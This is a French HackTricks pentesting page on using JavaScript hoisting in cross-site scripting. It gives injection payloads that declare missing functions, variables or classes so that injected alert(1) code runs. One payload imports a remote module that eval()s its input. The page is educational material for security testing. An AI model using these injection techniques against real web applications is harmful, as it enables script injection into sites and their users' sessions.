hacktricks/pentesting-web/xss-cross-site-scripting/js-hoisting.md

9.3 KiB
Raw Blame History

JS Hoisting

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

{% hint style="success" %} Le Hoisting JavaScript fait référence au processus par lequel l'interpréteur semble déplacer la déclaration de fonctions, variables, classes ou imports vers le haut de leur portée, avant l'exécution du code. {% endhint %}

Le moteur JavaScript effectuera (au moins deux) passages sur tout script. C'est une grande simplification, mais nous pouvons penser à l'exécution JS comme consistant en deux étapes. D'abord, le code est analysé, ce qui inclut la vérification des erreurs de syntaxe et sa conversion en arbre de syntaxe abstrait. Cette étape inclut également ce que nous décrivons comme le hoisting, où certaines formes de déclarations sont "déplacées" (hisser) vers le haut de la pile d'exécution. Si le code passe l'étape d'analyse, le moteur continue à exécuter le script.

  1. Tout code (y compris le payload injecté) doit adhérer aux règles de syntaxe. Rien ne s'exécutera si la syntaxe est invalide n'importe où dans le script final.
  2. L'endroit où un code est placé dans un script peut avoir de l'importance, mais la représentation textuelle d'un extrait de code n'est pas la même que ce qui est exécuté par le runtime à la fin. Tout langage peut avoir des règles qui décident dans quel ordre les expressions sont exécutées.

Les quatre types de hoisting

Revenant à la description du hoisting par MDN, nous pouvons lire qu'il existe quatre types de hoisting en JavaScript. Encore une fois, directement de MDN :

  1. Pouvoir utiliser la valeur d'une variable dans sa portée avant la ligne où elle est déclarée. ("Hoisting de valeur")
  2. Pouvoir référencer une variable dans sa portée avant la ligne où elle est déclarée, sans générer une ReferenceError, mais la valeur est toujours undefined. ("Hoisting de déclaration")
  3. La déclaration de la variable entraîne des changements de comportement dans sa portée avant la ligne dans laquelle elle est déclarée.
  4. Les effets secondaires d'une déclaration sont produits avant d'évaluer le reste du code qui la contient.

suivi de

Les quatre déclarations de fonction ci-dessus sont hissées avec un comportement de type 1 ; la déclaration var est hissée avec un comportement de type 2 ; les déclarations let, const, et class (également appelées collectivement déclarations lexicales) sont hissées avec un comportement de type 3 ; les déclarations import sont hissées avec un comportement de type 1 et de type 4.

Scénarios

Par conséquent, si vous avez des scénarios où vous pouvez injecter du code JS après qu'un objet non déclaré est utilisé, vous pourriez corriger la syntaxe en le déclarant (afin que votre code soit exécuté au lieu de générer une erreur) :

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Autres scénarios

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥